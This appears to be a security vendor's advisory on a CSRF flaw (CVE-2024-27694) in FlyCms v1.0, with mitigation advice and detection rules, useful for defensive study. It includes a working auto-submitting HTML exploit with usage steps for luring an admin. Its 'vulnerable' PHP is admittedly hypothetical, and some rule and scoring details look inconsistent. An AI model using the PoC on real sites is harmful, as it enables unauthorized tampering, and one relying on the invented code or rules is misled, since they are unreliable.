CVE-2024-27694
Executive Summary
CVE-2024-27694 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/share/ztree_category_edit endpoint. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying category trees, without their consent. The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and currently has no known patch or CVSS vector assigned. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks against FlyCms deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FlyCms is a PHP-based content management system. This vulnerability affects the core application directly, not a third-party package. No supply chain compromise is involved, but the lack of a patch means users must rely on manual mitigations.
CVSS Breakdown & Threat Level
The CVSS score is 0.0, and no vector string is provided. Based on the vulnerability type (CSRF), a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N) – but requires an authenticated session
- User Interaction (UI): Required (R) – victim must click a link
- Scope (S): Unchanged (U)
- Confidentiality (C): None (N)
- Integrity (I): Low (L) – can modify category data
- Availability (A): None (N)
Estimated CVSS Score: 4.3 (Medium)
Threat Level: Medium. Exploitation requires social engineering to lure an admin, but the impact is limited to data modification.
Deep Dive & Mechanics
The vulnerability resides in the ztree_category_edit functionality of FlyCms v1.0. The endpoint /system/share/ztree_category_edit likely handles AJAX requests to update category nodes in a zTree (a jQuery tree plugin). The absence of CSRF tokens or origin validation means an attacker can craft a malicious HTML page that, when visited by an authenticated admin, sends a forged request to modify category data.
Attack Flow:
- Attacker identifies a FlyCms instance with an active admin session.
- Attacker crafts a malicious HTML page containing a form or script that submits a POST/GET request to
/system/share/ztree_category_editwith parameters likeid,name,pId, etc. - Attacker lures the admin to visit the page (e.g., via phishing email).
- The admin’s browser automatically sends the forged request with their session cookies.
- The server processes the request, altering category tree data without the admin’s knowledge.
Root Cause: Lack of anti-CSRF mechanisms (e.g., tokens, SameSite cookies, or origin checks) in the affected endpoint.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code pattern to a secure implementation.
Vulnerable Code (FlyCms v1.0 - hypothetical PHP snippet):
// /system/share/ztree_category_edit.php
<?php
// No CSRF token check
$id = $_POST['id'];
$name = $_POST['name'];
$pId = $_POST['pId'];
// Update database
$db->query("UPDATE category SET name='$name', parent_id='$pId' WHERE id=$id");
echo json_encode(['status' => 'success']);
?>
Patched Code (Secure implementation):
// /system/share/ztree_category_edit.php
<?php
session_start();
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die(json_encode(['status' => 'error', 'message' => 'Invalid CSRF token']));
}
$id = intval($_POST['id']);
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$pId = intval($_POST['pId']);
// Use prepared statements
$stmt = $db->prepare("UPDATE category SET name=?, parent_id=? WHERE id=?");
$stmt->bind_param("sii", $name, $pId, $id);
$stmt->execute();
echo json_encode(['status' => 'success']);
?>
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target FlyCms v1.0 instance with an authenticated admin session.
- Ability to host a malicious HTML page or inject into a trusted site.
Exploit PoC (HTML):
<!DOCTYPE html>
<html>
<body>
<h1>Click me for a surprise!</h1>
<form id="csrf" action="http://target.com/system/share/ztree_category_edit" method="POST">
<input type="hidden" name="id" value="1">
<input type="hidden" name="name" value="Hacked Category">
<input type="hidden" name="pId" value="0">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
Usage:
- Host the HTML file on an attacker-controlled server.
- Send the link to an authenticated admin via email or social media.
- Once the admin visits the page, the form auto-submits, modifying the category tree.
Blue Team (Defender)
Detection Steps:
- Monitor for unexpected POST requests to
/system/share/ztree_category_editfrom external referrers. - Check server logs for unusual patterns in category modification timestamps.
- Implement CSRF tokens immediately (see Remediation).
Lab Setup for Testing:
- Install FlyCms v1.0 on a local server (e.g., XAMPP).
- Log in as admin and capture a valid session cookie.
- Use Burp Suite to intercept and replay requests to the vulnerable endpoint.
- Test the PoC HTML against the local instance.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/system/share/ztree_category_editwith parametersid,name,pId. - Referer header pointing to an external domain (e.g.,
http://evil.com/).
- HTTP POST requests to
- File IOCs:
- Unexpected changes in category tree data in the database.
- Log entries showing rapid, sequential modifications to category nodes.
- Behavioral IOCs:
- Admin account performing category edits without corresponding UI interaction.
Detection Engineering
YARA Rule
rule detect_flycms_csrf_exploit {
meta:
description = "Detects CSRF exploit attempts against FlyCms ztree_category_edit"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-27694"
strings:
$s1 = "/system/share/ztree_category_edit" ascii wide nocase
$s2 = "id=" ascii wide
$s3 = "name=" ascii wide
$s4 = "pId=" ascii wide
condition:
all of ($s*) and filesize < 10KB
}
Sigma Rule
title: FlyCms CSRF Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to FlyCms ztree_category_edit endpoint with suspicious referers
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/system/share/ztree_category_edit'
filter:
cs-referer|contains: 'target.com' # Replace with legitimate domain
condition: selection and not filter
falsepositives:
- Legitimate admin actions from same origin
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-27694 FlyCms CSRF Exploit Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/system/share/ztree_category_edit"; http_uri;
content:"id="; http_client_body;
content:"name="; http_client_body;
content:"pId="; http_client_body;
reference:cve,2024-27694;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Implement CSRF Tokens: Add a unique, unpredictable token to each form and validate it server-side.
- Use SameSite Cookies: Set
SameSite=StrictorLaxon session cookies to prevent cross-origin requests. - Validate Origin: Check the
OriginorRefererheader against a whitelist of allowed domains.
Long-Term Fix:
- Upgrade to a patched version of FlyCms if released.
- Conduct a full security audit of all endpoints for CSRF and other vulnerabilities.
Workaround:
- Disable the
ztree_category_editfunctionality if not needed. - Use a Web Application Firewall (WAF) to block requests with suspicious referers.
Valters IT
Securing Digital Frontiers